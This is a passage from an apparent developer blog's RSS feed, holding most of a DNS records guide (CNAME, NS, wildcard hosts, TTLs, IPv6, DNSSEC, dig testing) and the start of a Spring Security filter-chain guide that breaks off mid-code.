blog.example.com     CNAME    example.com
shop.example.com     CNAME    example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now if you change servers (and thus your IP address), you only need to update the A record for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt;. All the CNAMEs automatically follow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scenario 2: CDN Integration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You want to use Cloudflare’s CDN:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cdn.example.com    CNAME    example.cloudflarecdn.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Your CDN provider can manage the underlying infrastructure while you keep a simple CNAME in your DNS.&lt;/p&gt;

&lt;h3 id=&quot;the-cname-gotcha&quot;&gt;The CNAME Gotcha&lt;/h3&gt;

&lt;p&gt;Here’s something that trips people up constantly: &lt;strong&gt;you cannot use a CNAME alongside other records for the same hostname&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is &lt;strong&gt;invalid&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    A         192.0.2.1
example.com    CNAME     somewhere.else.com    ❌ CONFLICT!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But this is &lt;strong&gt;fine&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com        A         192.0.2.1
www.example.com    CNAME     example.com          ✅ Different hostnames
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Why? The DNS specification requires that a CNAME record be the only record for that exact name. It’s an exclusive relationship.&lt;/p&gt;

&lt;h1 id=&quot;ns-record-the-authority-delegation&quot;&gt;NS Record: The Authority Delegation&lt;/h1&gt;

&lt;p&gt;NS records (Name Server records) are meta-records—they control which DNS servers are authoritative for your domain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What it does:&lt;/strong&gt; Specifies which nameservers handle DNS queries for your domain&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; These records determine where all DNS lookups for your domain are sent&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    NS    ns1.dnsprovider.com
example.com    NS    ns2.dnsprovider.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;how-ns-records-work&quot;&gt;How NS Records Work&lt;/h3&gt;

&lt;p&gt;When someone queries your domain:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Their DNS resolver asks the root DNS servers “Who handles &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.com&lt;/code&gt;?”&lt;/li&gt;
  &lt;li&gt;Root servers respond with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.com&lt;/code&gt; TLD nameservers&lt;/li&gt;
  &lt;li&gt;The resolver asks TLD servers “Who handles &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt;?”&lt;/li&gt;
  &lt;li&gt;TLD servers respond with your NS records: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ns1.dnsprovider.com&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ns2.dnsprovider.com&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;The resolver finally asks those nameservers for the actual A, AAAA, CNAME records&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Key insight:&lt;/strong&gt; NS records are like forwarding addresses. They tell the world “For anything about this domain, ask these servers.”&lt;/p&gt;

&lt;h3 id=&quot;multiple-nameservers-redundancy&quot;&gt;Multiple Nameservers: Redundancy&lt;/h3&gt;

&lt;p&gt;You’ll typically see 2-4 NS records for reliability:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    NS    ns1.dnsprovider.com
example.com    NS    ns2.dnsprovider.com
example.com    NS    ns3.dnsprovider.com
example.com    NS    ns4.dnsprovider.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If one nameserver goes down, the others can still respond. This is critical for availability.&lt;/p&gt;

&lt;h1 id=&quot;understanding-the-host-field--www-and-&quot;&gt;Understanding the Host Field: @, www, and *&lt;/h1&gt;

&lt;p&gt;When you’re configuring DNS, the “host” or “name” field can be confusing. Let’s demystify the common symbols:&lt;/p&gt;

&lt;h3 id=&quot;the--symbol-root-domain&quot;&gt;The @ Symbol (Root Domain)&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@&lt;/code&gt; represents your root domain—the domain itself without any subdomain prefix.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@    A    192.0.2.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This creates a record for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt; (not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subdomain.example.com&lt;/code&gt;).&lt;/p&gt;

&lt;h3 id=&quot;the-www-prefix&quot;&gt;The www Prefix&lt;/h3&gt;

&lt;p&gt;This is the classic subdomain for web services:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www    CNAME    example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Creates a record for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www.example.com&lt;/code&gt; pointing to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;the--wildcard&quot;&gt;The * Wildcard&lt;/h3&gt;

&lt;p&gt;The wildcard matches any subdomain that doesn’t have a specific record:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;*    A    192.0.2.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This means &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;anything.example.com&lt;/code&gt; will resolve to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192.0.2.1&lt;/code&gt; unless there’s a more specific record.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example with specifics:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com          A         192.0.2.1
www.example.com      CNAME     example.com
api.example.com      A         192.0.2.2
*                    A         192.0.2.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Results:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt; → 192.0.2.1 (root A record)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www.example.com&lt;/code&gt; → 192.0.2.1 (CNAME to root)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api.example.com&lt;/code&gt; → 192.0.2.2 (specific A record)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;random.example.com&lt;/code&gt; → 192.0.2.1 (wildcard catches it)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo.bar.example.com&lt;/code&gt; → 192.0.2.1 (wildcard catches it)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;common-host-field-patterns&quot;&gt;Common Host Field Patterns&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Host&lt;/th&gt;
      &lt;th&gt;Creates&lt;/th&gt;
      &lt;th&gt;Common Use&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;example.com&lt;/td&gt;
      &lt;td&gt;Root domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;www.example.com&lt;/td&gt;
      &lt;td&gt;Web services&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mail&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;mail.example.com&lt;/td&gt;
      &lt;td&gt;Mail server&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;api.example.com&lt;/td&gt;
      &lt;td&gt;API endpoint&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ftp&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ftp.example.com&lt;/td&gt;
      &lt;td&gt;File transfer&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;*.example.com&lt;/td&gt;
      &lt;td&gt;Wildcard catchall&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;h1 id=&quot;industry-trends-whats-happening-now&quot;&gt;Industry Trends: What’s Happening Now&lt;/h1&gt;

&lt;h3 id=&quot;cloud-native-dns-services&quot;&gt;Cloud-Native DNS Services&lt;/h3&gt;

&lt;p&gt;Traditional DNS hosting is giving way to cloud-native solutions. AWS Route 53, Cloudflare DNS, and Google Cloud DNS offer:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Global distribution:&lt;/strong&gt; Faster lookups from anywhere&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Advanced traffic management:&lt;/strong&gt; Geolocation routing, weighted routing&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Integrated security:&lt;/strong&gt; Built-in DDoS protection, DNSSEC&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Programmable infrastructure:&lt;/strong&gt; Manage DNS via API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you’re running anything beyond a hobby project, using a specialized DNS service is practically mandatory now.&lt;/p&gt;

&lt;h3 id=&quot;cdn-integration-is-standard&quot;&gt;CDN Integration is Standard&lt;/h3&gt;

&lt;p&gt;Every major website uses CDN services like Cloudflare, Akamai, or Fastly. CNAME records make this integration trivial:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cdn.example.com    CNAME    example.cdn.cloudflare.net
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Your CDN provider handles the global edge network while you maintain a simple DNS record.&lt;/p&gt;

&lt;h3 id=&quot;ipv6-adoption-is-accelerating&quot;&gt;IPv6 Adoption is Accelerating&lt;/h3&gt;

&lt;p&gt;According to Google’s IPv6 statistics, over 40% of users now access their services via IPv6. For mobile networks, it’s even higher—often 70-80%.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reality check:&lt;/strong&gt; If you’re launching a mobile app or targeting markets with high mobile penetration (like India, China, or most of Asia), IPv6 isn’t optional anymore.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    A       203.0.113.10      # IPv4
example.com    AAAA    2001:db8::1       # IPv6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Run both. Always.&lt;/p&gt;

&lt;h3 id=&quot;dns-security-dnssec-is-going-mainstream&quot;&gt;DNS Security (DNSSEC) is Going Mainstream&lt;/h3&gt;

&lt;p&gt;DNSSEC adds cryptographic signatures to DNS records, preventing spoofing attacks. Major TLDs (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.com&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.net&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.org&lt;/code&gt;) support it, and hosting providers are making it easier to enable.&lt;/p&gt;

&lt;p&gt;Without DNSSEC, an attacker could redirect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yourbank.com&lt;/code&gt; to their fake site. With DNSSEC, such tampering is cryptographically provable and rejected.&lt;/p&gt;

&lt;h1 id=&quot;practical-tips-getting-it-right&quot;&gt;Practical Tips: Getting It Right&lt;/h1&gt;

&lt;h3 id=&quot;for-new-projects-short-term-strategy&quot;&gt;For New Projects (Short-Term Strategy)&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Start with the basics:&lt;/strong&gt; Set up A records and one CNAME for www
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com        A         192.0.2.1
www.example.com    CNAME     example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Add IPv6 early:&lt;/strong&gt; Don’t wait until you “need” it
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    AAAA    2001:db8::1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use a proper DNS provider:&lt;/strong&gt; Don’t rely on your domain registrar’s free DNS—it’s often slow and limited&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Set reasonable TTLs:&lt;/strong&gt; During initial setup, use short TTLs (300 seconds) so mistakes can be corrected quickly&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;for-growing-services-long-term-strategy&quot;&gt;For Growing Services (Long-Term Strategy)&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Choose enterprise DNS:&lt;/strong&gt; Evaluate AWS Route 53, Cloudflare, or Google Cloud DNS based on:
    &lt;ul&gt;
      &lt;li&gt;Global presence&lt;/li&gt;
      &lt;li&gt;Security features (DDoS protection, DNSSEC)&lt;/li&gt;
      &lt;li&gt;Traffic routing capabilities&lt;/li&gt;
      &lt;li&gt;API integration for automation&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Implement monitoring:&lt;/strong&gt; DNS downtime is total downtime. Monitor your NS records and query response times&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Plan for IPv6 transition:&lt;/strong&gt; Government agencies, large enterprises, and global services should aggressively adopt IPv6&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Enable DNSSEC:&lt;/strong&gt; Especially for financial services, healthcare, or any site handling sensitive data&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Document your DNS architecture:&lt;/strong&gt; Future you (or your successor) will thank you&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;a-real-world-example-e-commerce-site&quot;&gt;A Real-World Example: E-Commerce Site&lt;/h3&gt;

&lt;p&gt;Let’s say you’re building &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shop.example.com&lt;/code&gt; with these requirements:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Main site on AWS&lt;/li&gt;
  &lt;li&gt;CDN for static assets&lt;/li&gt;
  &lt;li&gt;Separate API server&lt;/li&gt;
  &lt;li&gt;Email via Google Workspace&lt;/li&gt;
  &lt;li&gt;IPv4 and IPv6 support&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Your DNS configuration might look like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;; Root domain
example.com             A       203.0.113.10
example.com             AAAA    2001:db8::1

; Web services
www.example.com         CNAME   example.com
shop.example.com        A       203.0.113.20
shop.example.com        AAAA    2001:db8::2

; CDN for assets
cdn.example.com         CNAME   shop.cloudfront.net

; API server
api.example.com         A       203.0.113.30
api.example.com         AAAA    2001:db8::3

; Email (MX records - not covered here, but you get the idea)
example.com             MX      10 aspmx.l.google.com

; Nameservers
example.com             NS      ns1.dnsprovider.com
example.com             NS      ns2.dnsprovider.com
example.com             NS      ns3.dnsprovider.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;common-mistakes-to-avoid&quot;&gt;Common Mistakes to Avoid&lt;/h1&gt;

&lt;h3 id=&quot;mistake-1-using-cname-at-the-root&quot;&gt;Mistake 1: Using CNAME at the Root&lt;/h3&gt;

&lt;p&gt;This is &lt;strong&gt;wrong&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    CNAME    somewhere.else.com    ❌
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The DNS specification doesn’t allow CNAME at the apex (root) domain because it conflicts with required records like NS and SOA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Use an A record at the root, or use your DNS provider’s ALIAS/ANAME feature if available.&lt;/p&gt;

&lt;h3 id=&quot;mistake-2-forgetting-about-ttl&quot;&gt;Mistake 2: Forgetting About TTL&lt;/h3&gt;

&lt;p&gt;TTL (Time To Live) controls how long DNS records are cached. Setting it too high means changes take forever to propagate. Too low means unnecessary load on your DNS servers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Good practice:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;During active development: 300 seconds (5 minutes)&lt;/li&gt;
  &lt;li&gt;For stable production: 3600 seconds (1 hour)&lt;/li&gt;
  &lt;li&gt;Before making changes: Lower TTL 24 hours in advance&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;mistake-3-not-having-redundant-nameservers&quot;&gt;Mistake 3: Not Having Redundant Nameservers&lt;/h3&gt;

&lt;p&gt;Relying on a single NS record is asking for trouble. Always have at least two, preferably on different networks:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;example.com    NS    ns1.dnsprovider.com
example.com    NS    ns2.dnsprovider.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;mistake-4-ignoring-ipv6&quot;&gt;Mistake 4: Ignoring IPv6&lt;/h3&gt;

&lt;p&gt;“Nobody uses IPv6 yet” is simply false. A significant portion of mobile users are IPv6-only or IPv6-preferred. If you’re not providing AAAA records, you’re degrading their experience or blocking them entirely.&lt;/p&gt;

&lt;h1 id=&quot;testing-your-dns-configuration&quot;&gt;Testing Your DNS Configuration&lt;/h1&gt;

&lt;p&gt;Before you call it done, test your configuration:&lt;/p&gt;

&lt;h3 id=&quot;using-dig-command-line&quot;&gt;Using dig (Command Line)&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Check A record&lt;/span&gt;
dig example.com A

&lt;span class=&quot;c&quot;&gt;# Check AAAA record&lt;/span&gt;
dig example.com AAAA

&lt;span class=&quot;c&quot;&gt;# Check NS records&lt;/span&gt;
dig example.com NS

&lt;span class=&quot;c&quot;&gt;# Check CNAME&lt;/span&gt;
dig www.example.com CNAME

&lt;span class=&quot;c&quot;&gt;# Full trace (see the entire resolution path)&lt;/span&gt;
dig +trace example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;using-nslookup-windows&quot;&gt;Using nslookup (Windows)&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;nslookup example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;online-tools&quot;&gt;Online Tools&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;DNS Checker:&lt;/strong&gt; dnschecker.org - Check propagation globally&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;What’s My DNS:&lt;/strong&gt; whatsmydns.net - See DNS responses from different locations&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;DNS Lookup:&lt;/strong&gt; mxtoolbox.com - Comprehensive DNS testing&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;wrapping-up&quot;&gt;Wrapping Up&lt;/h1&gt;

&lt;p&gt;DNS essentials in a nutshell:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;A records:&lt;/strong&gt; Domain → IPv4 address (the foundation)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;AAAA records:&lt;/strong&gt; Domain → IPv6 address (the future)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CNAME records:&lt;/strong&gt; Domain alias (the convenience)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;NS records:&lt;/strong&gt; Nameserver delegation (the meta-layer)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Remember:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Always use multiple NS records for redundancy&lt;/li&gt;
  &lt;li&gt;Deploy both A and AAAA records for compatibility&lt;/li&gt;
  &lt;li&gt;CNAME can’t coexist with other records for the same host&lt;/li&gt;
  &lt;li&gt;Test everything before going live&lt;/li&gt;
  &lt;li&gt;Use enterprise DNS for production workloads&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;DNS might seem like plumbing—invisible infrastructure nobody thinks about—but when it breaks, everything stops. Take the time to understand it properly, and you’ll save yourself (and your users) from a world of pain.&lt;/p&gt;

&lt;p&gt;Bookmark this page for the next time you’re staring at that DNS configuration panel wondering what all those acronyms mean. You’ll thank yourself later! 🚀&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Subscribe &lt;a href=&quot;/feed.xml&quot;&gt;via RSS&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 13 Jan 2026 10:50:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/networking/2026/01/13/dns-record-guide.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/networking/2026/01/13/dns-record-guide.html</guid>
        
        <category>Networking</category>
        
        
        <category>Networking</category>
        
      </item>
    
      <item>
        <title>Spring Security - Your Memory Refresher Guide 🔐</title>
        <description>&lt;p&gt;Ever opened up a Spring Security config after a few months away and thought “Wait, what does this even do?” You’re not alone. All those filter chains and security matchers can get jumbled up in your head pretty quickly. This guide will help you rebuild that mental model with Spring Security 7’s core architecture.&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-foundation-understanding-servlet-filters&quot;&gt;The Foundation: Understanding Servlet Filters&lt;/h2&gt;

&lt;p&gt;Before diving into Spring Security, let’s talk about servlet filters—they’re the foundation everything else builds on.&lt;/p&gt;

&lt;p&gt;When a client sends an HTTP request, the servlet container creates a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChain&lt;/code&gt; containing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Filter&lt;/code&gt; instances and a final &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Servlet&lt;/code&gt; (in Spring MVC, that’s the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DispatcherServlet&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Filters can do two main things:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Block the request from reaching downstream filters or the servlet (usually by writing the response directly)&lt;/li&gt;
  &lt;li&gt;Modify the request or response before passing it along&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Override&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ServletRequest&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ServletResponse&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
                     &lt;span class=&quot;nc&quot;&gt;FilterChain&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;IOException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ServletException&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Do something before&lt;/span&gt;
